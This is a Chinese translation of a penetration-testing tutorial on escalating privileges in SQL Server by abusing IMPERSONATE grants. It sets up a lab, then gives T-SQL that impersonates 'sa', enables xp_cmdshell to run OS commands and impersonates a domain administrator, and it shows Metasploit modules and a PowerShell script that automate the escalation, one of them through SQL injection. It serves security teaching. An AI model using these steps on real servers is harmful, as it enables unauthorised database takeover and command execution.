安全脉搏在之前提供了SQL Server存储过程Hacking系列的第一部《SQL Server存储过程Hacking(I)之可信数据库》,现在来翻译《SQL Server存储过程Hacking(II)之用户冒充》
应用开发者们经常使用SQL Server存储过程使得他们的代码看起来更模块化,并且有助于践行最小特权原则。
有时这些存储过程需要从应用程序的数据库访问外部资源。有时为了满足那个需求,开发人员使用模拟特权(IMPERSONATE privilege)和执行功能( EXECUTE AS function)来允许其他登录需求的模拟。
虽然严格意义上这不算个漏洞,但是这种类型的配置不严经常导致权限提升(privilege escalation)。
本文将提供一个实验步骤,带你走完攻击步骤,让你更好的理解在SQL Server中用户模拟(IMPERSONATE)权限是如何导致权限提升的。
渗透测试师,应用开发者以及开发员们应该会对本文感兴趣。然而对于知道自己在干啥的DBA们来说,文章可能会很无趣。
下面是涉及到的每个章节的总结:
0x01 创建实验环境(Setting up a Lab)
0x02 如何寻找可以利用的SQL Server(Finding SQL Server Logins that can be Impersonated)
0x03 模拟SQL登陆和域账户 (Impersonating SQL Logins and Domain Accounts)
0x04 使用 Metasploit和PowerShell进行自动化攻击(Automating Escalation with Metasploit and PowerShell)
0x05 冒充的修复方法(Alternatives to Impersonation)
接下来我会提供一些建立一个SQL Server数据库实例的基本步骤,以更好的来重现我文中的场景。
1.下载Microsoft SQL Server Express 并安装SQL Server Management Studio。下载地址如下:http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx
2.按照向导一步步安装SQL Server,为了实验测试,请确保开启了混合验证模式并且以LocalSystem权限运行相关服务。
3.确保开启了tcp协议以便我们能远程连上监听。可以在这篇文章中找到步骤: http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx 。
4.在安装过程中,使用SQL Server Management Studio程序时,用“SA”帐户登录SQL Server。
5.单击“New Query”(新建查询)按钮,使用下面TSQL语句创建4个新用户。
-- Create login 1 CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!'; -- Create login 2 CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!'; -- Create login 3 CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!'; -- Create login 4 CREATE LOGIN MyUser4 WITH PASSWORD = 'MyPassword!';
6.赋予用户MyUser1权限来模拟 MyUser2, MyUser3,及sa
-- Grant myuser1 impersonate privilege on myuser2, myuser3, and sa USE master; GRANT IMPERSONATE ON LOGIN::sa to [MyUser1]; GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1]; GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1]; GO
找寻可以冒充其他用户登录的第一步就是找到这些账号中哪一个账号容许冒充。
默认。系统管理员sysadmins可以模拟登录任何账号,但是正常登录必须分配权限来模拟特定的用户。
如下是快速找出哪些账号可以模拟的指令步骤:
1. 使用 MyUser1用户登录 SQL Server Management Studio管理界面。
2.执行如下SQL语句找到可以被模拟的用户列表
-- Find users that can be impersonated SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
3.下面是预期结果的截图。
注意: 上面例子中,查询语句是直接通过数据库连接来执行的,但是实战中,外部的黑客们更可能是通过SQL injection注入来执行。
既然我们已经有了可以模拟的用户列表了,那么我们现在可以模拟登陆并进行权限提升了。
在本章节中,我会教大家如何模拟其他用户,如何恢复到自己的用户,如何模拟域用户登录,等等如是。
1)模拟SQL Server用户登陆:
1.使用MyUser1账户登陆SQL Server
2.确保你登陆的账号没有sysadmin管理员权限。然后执行“ EXECTUTE AS”语句来冒充sa账户,这在最后一节被确认。
-- Verify you are still running as the myuser1 login SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') -- Impersonate the sa login EXECUTE AS LOGIN = 'sa' -- Verify you are now running as the sa login SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin')
以下是预期的输出的一个例子。
3.现在你有了sysadmin权限,可以控制任意数据库,可以以LocalSystem权限开启xp_cmdshell执行操作系统命令。下面是一些例子。
-- Enable show options EXEC sp_configure 'show advanced options',1 RECONFIGURE GO -- Enable xp_cmdshell EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE GO -- Quickly check what the service account is via xp_cmdshell EXEC master..xp_cmdshell 'whoami'
以下是预期的输出的一个例子。
非常赞!此场景中,我们已经成为系统管理员“sa”。冒充其他用户登录的,你可能不总能够得到一个系统权限账户,但至少你应该得到额外的数据访问时权限。
注意: 在权限提升方面,即便是每一次小的提升,都可以为特权提升链工作提供第一步。举例来说:如果你没有冒充 db_owner的权限,你可以提升到 sysadmin权限,使用我上篇写的文章《SQL Server存储过程Hacking(I)之可信数据库》。
2)模拟SQL Server Sysadmin登陆:
一旦你获取了sysadmin账户,你能够冒充任意账户登陆了。你可以显示出所有的登陆列表。
-- Get a list of logins SELECT * FROM master.sys.sysusers WHERE islogin = 1
截图如下:
一旦你有了上述列表,变成任意账户已然相当简单。下面是冒充MyUser4登陆的案例:
-- Verify you are still impersonating sa select SYSTEM_USER select IS_SRVROLEMEMBER('sysadmin') -- Impersonate MyUser4 EXECUTE AS LOGIN = 'MyUser4' -- Verify you are now running as the the MyUser4 login SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') -- Change back to sa REVERT
截图如下:
注意: 当你做完了一切,记得恢复到sysadmin权限。否则你继续以MyUser4登陆执行下面的操作达不到效果就很蛋疼了。
3)模拟域管理登陆:
我之前提过你可以冒充活动目录(Active Directory)内的任意域用户?事实上它甚至没有被映射到一个SQL Server登录。然而,本文只讲适用于SQL Server的攻击。
这主要是因为SQL Server无法验证域用户到其他系统……我知道的。所以这实际上并没有听起来那么酷,但还是挺好玩的。
注意: 另一个注意点是你冒充一个用户执行xp_cmdshell 的所有系统命令都是已SQL Server service 账户来执行的,而非SQL Server账户或者你所冒充的域账户。
下面是怎么实现的一个基本例子:
-- Get the domain of the SQL Server SELECT DEFAULT_DOMAIN() -- Impersonate the domain administrator EXECUTE AS LOGIN = 'DEMO\Administrator' -- Verify you are now running as the Domain Admin SELECT SYSTEM_USER
Note: 记住内网域名因案例而异,我的这个例子中,内网域名是“DEMO”.
以下是预期的输出的一个例子。
4 )恢复到原来的登录:
如果你实验玩,已经厌倦了继续成为sysadmin或者伪域管理,你可以恢复到你原先的登陆账户。
要知道,如果你运行多次冒充,您可能需要运行多次恢复。
-- Revert to your original login REVERT -- Verify you are now running as the MyUser1 login SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin')
因为我比较懒,不想重复劳动,所以我写了个Metasploit模块和 PowerShell 脚本来实现Mssql数据库的自动化攻击。
同样,我也写了一个基于SQL注入报错的权限提升Metasploit模块。感谢Metasploit团队那伙人帮忙把我的模块加入整个框架里面去。
Metasploit Module: mssql_escalate_executeas
下面是使用mssql_escalate_executeas 提升myuser1账号的权限。通常这种内网渗透中非常有用,譬如说猜对了数据库的用户名/密码或者找到了数据库连接字符串。
Metasploit Module: mssql_escalate_executeas_sqli
下面是利用基于SQL注入报错的权限提升Metasploit模块 mssql_escalate_executeas_sqli来提升 myuser1账号的权限。这个更多的是出现在外网的渗透测试中。
主要因为SQL注入在外网太常见,而MSSQL的端口不一定都暴露在外网。下面是测试截图:
PowerShell Script
对一些喜欢玩转PowerShell的同志, 我也放出了一个脚本,能够提升 myuser1用户的权限。可以在这里下载: https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1.
可以使用下面的命令引入这个模块。当然,虽然我也意识到这个名字有点长,但是我只是想更清楚的描述。
Import-Module .\Invoke-SqlServer-Escalate-ExecuteAs.psm1
然后执行下面的命令:
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
下面是它执行起来后的截图:
有相当多的选项提供存储过程访问外部资源,而不用提供SQL登录的随意特权冒充其他用户。
然而,它们都有自己的风险和实施方面的挑战。我希望,我将有时间在不久的将来,覆盖每一个在更大的深度,但下面是常见的选项摘要。
【原文:hacking-sql-server-stored-procedures-part-2-user-impersonation 翻译 SP小编】